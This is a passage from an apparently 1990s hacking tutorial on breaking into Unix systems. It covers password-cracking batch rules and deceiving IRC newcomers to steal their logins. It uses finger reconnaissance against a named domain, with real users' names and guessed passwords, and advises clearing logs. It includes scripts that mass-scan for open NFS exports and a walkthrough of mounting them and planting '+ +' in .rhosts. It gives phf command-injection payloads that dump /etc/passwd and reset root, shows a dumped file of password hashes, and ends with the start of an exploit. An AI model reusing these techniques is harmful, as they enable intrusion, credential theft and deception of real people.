jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1


jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1


jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1


jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

--------------- end of jackhash.bat

You can get password files without an account, see next chapter.

------------------
Section 2B.
Talking to newbe's
------------------

There are other ways to get an account without doing much work.  Park yourself
on an irc channel that you made with a title about hacking.  Also try joining
other channels already on the irc.  Channels would include:
#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
#hackers_hideout or any others you can find.

Now what you are looking for are newbe's looking to learn or exploit their shell
they are on already.  There is always someone out there that does not know as
much as you.  Watch for someone out there that asks a newbe question and gets
no answer or even kicked off the channel.  Here is your mark ;)

/msg him so that others can't see that you are talking to him, and begin to ask
him questions, try to help him, but not too much ;)  Finally tell him that you
can login for him and do it.  This could be to snatch the passwd file or god
knows what.  Promise him the world and get that login password.  Now you have
a start and can start your on-hands learning process.  If you get root on the
system you might not want to expose that to him, but you can feed him other
goodies that will keep him busy while you sniff some other passwords on the
system.

So now if there are some out there that remember i-e when you gave him your
login and password, you can be sure that the above never happened <G>rin ...

I tend to like to help people learn so I am telling the truth when i say I
have dealt honestly with most everyone I have come across.

-------------
Section 2C.
The hard way
-------------

There is another way you can do this.  Be sure that on most big systems
that users do not use secure passwords.  from a shell do this:

finger @domainname.com  Watch I will do a real domain:

[10:35am][/home/ii]finger @starnet.net
[starnet.net]
Login    Name                 Tty   Idle  Login Time   Office     Office Phone
chris    Chris Myers           p2   4:46  Jan 27 11:19
mike     Mike Suter            p1   4:57  Jan 22 16:14
mike     Mike Suter            p5     3d  Jan 16 15:35
root     System Administrator  p3   4:59  Jan 16 10:17
wendt    Catherine Wendt-Bern  p0      3  Jan 21 14:49
[10:35am][/home/ii]

Now we might want to try logging in later, log this information:

Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc...

This one looks good, wendt:Catherine:catherine

Here is another command:

[10:35am][/home/ii]finger -l @starnet.net
[starnet.net]


Login: mike                             Name: Mike Suter
Directory: /usra/staff/mike             Shell: /bin/csh
On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
No Plan.

Login: root                             Name: System Administrator
Directory: /root                        Shell: /bin/csh
On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
Mail forwarded to:
\chris@admin.starnet.net
#\chris@admin.starnet.net, \mike@admin.starnet.net
No Plan.

Login: wendt                            Name: Catherine Wendt-Bernal
Directory: /usra/staff/wendt            Shell: /bin/csh
On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
No Plan.

You get more info to play with ;)


I know this can make you tired ....

Remember this stuff will log your tries, so if you get on and get root, clean
the logs ;)

Here is a small .c file you can use if you get on.

pop3hack.c
----- cut here

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT               110

/* What we want our program to be masked as, so nosy sys admin's don't kill us */
#define MASKAS                  "vi"

/* Repeat connect or not - remember, logs still report a connection, so
you might want to set this to 0. If set to 0, it will hack until it finds
1 user/password then exit. If set to 1, it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT       0

----- cut here

You could also write a small perl script that will finger @ from a domain
list and cat the response to a file, then when done it will go back and try
to login using pop3d username-username (or other info) and putting the
response into another file for you.

You can ftp to rs.internic.net:
in the domain directory you will find:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

download these files and run getdomain.pl (script below) on the domains you
want to target first, in this manor:

"perl getdomain.pl com.zone com >com.all"

What this will do is rip all of the .COM domains and put them into a file
called comm.all.

If you wanted to do all of the .EDU addresses you would type:

perl getdomain.pl edu.zone edu >edu.all

Now you will have a list to use with your probe called edu.all

Here is the perl script

getdomain.pl
---- cut here
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e  or  /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
my(@lines) = <INFILE>;

# Initialize main data structure.
my(%hash) = {};
my($key) = "";

foreach (@lines) {
  $key = (split(/\ /))[0];
  chop($key);
  next if ((($key =~ tr/.//) < 1) || 
            (uc($domain) ne uc(((split(/\./, $key))[-1]))) || 
            ($key =~ m/root-server/i));
  $hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
  print "$_\n";
}

sub usage {
  print("\n\ngetdomain:\n");
  print("Usage: getdomain [inputfile] [search]\n\n");
  print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
  exit(0);
}
  
0;
  
---- cut here - end of script -----

To use the script above all you need to do is copy between the lines above
and name it getdomain.pl, now copy it into the unix os and type
chmod +x getdomain.pl

Now it is ready to run with the command lines above.

------------------------------------------
Section 2D.
using Mount to gain access to unix systems
------------------------------------------

This is not hard to do and there are many systems out there that are mountable.
Mount is a command in unix that will allow you to mount remote machines drives
you yours.  This is done so you can do installs from other machines, or just
share drives or directories across the network.  The problem is that many
admins are good with unix commands or setup.  Or maybe they are just plain
lazy and mount the drives with world access not understanding that the world
can mount the drive and gain write access to their users directories.

What you will need to get started here is a hacked root account.  To be able to
mount the remote drive and gain access you will need to modify the system's
password file and use the su command.

Ok let's say we have root access. let's get started!

You can see if another system has mountable drives by using the showmount
command.

From root account:

$root> showmount -e wwa.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

Ok, no problem, this domain will not work, go on to the next one...

$root> showmount -e seva.net
Export list for seva.net:
/var/mail                                        pluto.seva.net
/home/user1                                      pluto.seva.net
/usr/local                                       pluto.seva.net,rover.seva.net
/export/X11R6.3                                  rover.seva.net
/export/rover                                    rover.seva.net,pluto.seva.net
/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)

Notice the (everyone), this would be good if we wanted to install linux
from this guy's box, but we want open directories to users.... so go on to
the next one...

$root> showmount -e XXXXX.XXX < this one worked ... find your own ;)
Export list for XXXXX.XXX:
/export/home (everyone)

Now this guy mounted his home directory, the user accounts are off of the home
directory ;) and look above ... (everyone) can access it!


Ok, this section was to show you how to see if they are mountable, in the next
section i will show you how to mount and hack it.  But for now, here is a
script that will scan for EVERY DOMAIN on the internet that is mountable and
log them for you.

To use this script simply use the domain ripper in the PHF section and download
the needed files from rs.internic.net rip some domains and name the file
'domains' and startup the script.  To make it run in the background put a
& after the command.  like this: cmount.pl&

How it works:

When you run the file it will go to the domains list and run showmount -e
on each domain, if it finds that there is a return on mountable drives
it will save the info in the current directory in files named:
domain.XXX.export.  All you have to do is view the files and mount the drives!

--------------- start of cmount.pl
#!/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);
 
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or 
  die("mountDomains: Cannot open $DomainFilename for input.\n");
  
while (<DOMAINFILE>) {
  chomp($_);
  print "Now checking: $_";

  # Note difference in program output capture from "geturl.pl".  
  open (EXECFILE, "$program $_ |");
  @execResult = <EXECFILE>;
  next if (!defined($execResult[0]));
  if ($execResult[0] =~ /^Export/) {
    print " - Export list saved.";
    open (OUTFILE, ">$_.export");
    foreach (@execResult) {
      print OUTFILE;
    }
    close (OUTFILE);
  }
  close(EXECFILE);
  print "\n";
}
  
# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
----------------- end of cmount.pl

Ok, now on to mounting the drives ....

lets say we did a showmount -e domain.com and got back:

Export list for domain.com:
/   (everyone)
/p1 (everyone)
/p2 (everyone)
/p3 (everyone)
/p5 (everyone)
/p6 (everyone)
/p7 (everyone)
/var/spool/mail titan,europa,galifrey
/tmp            (everyone)

We would want to mount /  .. yup .... this guy has his entire system mountable!

$root> mkdir /tmp/mount
$root> mount -nt nfs domain.com:/ /tmp/mount

If he had the home directory mountable the command would be:

$root> mount -nt nfs domain.com:/home /tmp/mount

To unmount the system, make sure you are out of the directory and type:
$root> umount /tmp/mount

Make sure you make the mount directory first, you can make this anywhere on the
system that you want.  If the systems /mnt directory is empty you can use it
also.

Ok this is for real:

bash# ls -al /mnt  ; making sure the mnt dir is empty
ls: /mnt: No such file or directory ; there was not even a dir there ;)
bash# mkdir /mnt ; lets make one for them <g>rin
bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ...
bash# cd /mnt ; changing to the mounted drive...
bash# ls ; just the plain dir ..
TT_DB             home              raddb             share
back              local             radius-961029.gz  www
exec              lost+found        radius-961029.ps
bash# ; there is is up there, the home dir ... oh good ...
bash# cd home
bash# ls -l  ; long directory listing ... tom is looking good here ;)
total 18
drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
drwxr-xr-x   6 news     news          512 Mar  6  1996 news
drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
drwxr-xr-x   2 302      other         512 Mar  1 10:10 tom
drwxr-xr-x   5 601      daemon        512 Jan 26  1996 viewx
drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file
bash# pico /etc/passwd
tom:x:302:2::/home:/bin/bash ; this should do it ;)
bash# su - tom ; su to the tom account ...
bash$ ls -l
total 18
drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
drwxr-xr-x   6 news     news          512 Mar  6  1996 news
drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
drwxr-xr-x   2 tom      other         512 Mar  1 10:10 tom
drwxr-xr-x   5 601      daemon        512 Jan 26  1996 view
drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
bash$ ; NOTICE above that toms user number is gone ... we now own his dir!
bash$ echo + +>>tom/.rhosts  ; this will make a file in his dir called .rhosts
bash$ ;inside .rhosts will be wild cards + +  for anyone to rlogin to his account
bash$ rlogin xxxxx.xxx  we are tom on our machine, so lets just rlogin plain.
Last login: Fri Mar  7 00:16:03 from xxxxx.xxxxxxxxxx
Sun Microsystems Inc.   SunOS 5.5       Generic November 1995
>  ; yup we are in!
> ls -al
total 8
drwxr-xr-x   2 tom      group        512 Mar  1 17:10 .
drwxr-xr-x  14 tom      group        512 Jan 24 11:16 ..
-rw-r--r--   1 tom      group        144 Dec 30 15:32 .profile
-rw-r--r--   1 tom      bin            8 Mar 11 08:26 .rhosts
>

So now we have access, so lets just hack this system ... oops, that is another
lesson!  Have pun!

---------------------
Chapter III
Getting passwd files
---------------------

Here are some ways to get password files from unix systems.  Most of them
you will need an account, but there is still a way to access to the system
without having an account.  Here you will learn the difference between a
regular passwd file and a shadowed passwd file.  You will also learn a way
to read the shadowed password file.

------------------
Section 3A
PHF WWW PH Query
------------------

There is a program in the WWW cgi-bin directory called phf, if the file
is there, and has permission x, you can access it by using the www, or
a text version browser in linux called lynx.  Now you can read files on the
system (yup .. /etc/passwd) and save them to files local in your computer.

There are many things we can get done here.  If the server is running their
httpd server as root owner, we can be root by using phf and even change an
account password on the machine.

I will include a perl script here that will auto check all of the systems out
there by using the getdomain.pl script above and check what the server is
running under.  If it is running under root, it will just log the id, if the
server is not running under root, it will auto get the passwd file from the
/etc directory and name it domainname.???.passwd.

I will also attach a script that will allow you to use a simple command from
a shell and if phf is on the system allow you to pipe commands from the shell
to the remote system with one command line.

Ok now that you know what is coming, lets teach you how to use phf.

Use your favorite web browser, or the text version in unix called most of
the time lynx, on some systems www.

After the screen comes up type the letter g, now a line appears like below:

URL to open:
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

You type:

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

It returns:

                                 QUERY RESULTS



   /usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)


So here we see it is running under a user (nobody), so we can be a user named
nobody on this system.  We are not root, but this will have to do ;)

Notice the command line:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

The id was the command to the server to give us the id of the user.  Some times
you will have to give the full path to the file you want to run, in this case
it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

Notice that after the %0a you start your command line.  If you need to enter
a space you would put a %20 instead of the space.  Here would be some sample
command lines. I will start them with %0a

Cat the passwd file
%0a/bin/cat%20/etc/passwd

Get a long directory of the /etc directory of all files starting with pass
%0als%20-al%20/etc/pass*

backup the passwd file if you have root access to httpd to passwd.my
%0acp%20/etc/passwd%20/etc/passwd.my

Change the root passwd (if the server will let you (most times it works)
%0apasswd%20root

(the above should let you login without a password, make sure to copy the
passwd.my file over the passwd file right away, and then delete the backup,
then make yourself an suid bash shell somewhere and rename it, sniff to get
your passwords)

If you know how to type commands in unix and don't forget that you need to
use %20 in the place of spaces, you will not have any problems!

Ok lets cat the passwd file on this box ;)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

We get:


                                 QUERY RESULTS



   /usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

A small passwd file <g>rin

If you want to save this to a file in your local directory, just choose the
print option in the text browser and you will get an option to save the file
in your home directory.

Lets learn something here:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1   :2            :3  :4  :5             :6         :7

1=username 2=encrypted password 3=user number 4=groop id 5=real name
6=home directory 7=shell

Ok, lets say you do not want to keep using the WWW browser, here is a script
you can compile to just type regular commands from your shell.

phf.c
------ cut here----

/* Some small changes for efficiency by snocrash. */
/*
 * cgi-bin phf exploit by loxsmith [xf]
 *
 * I wrote this in C because not every system is going to have lynx.  Also,
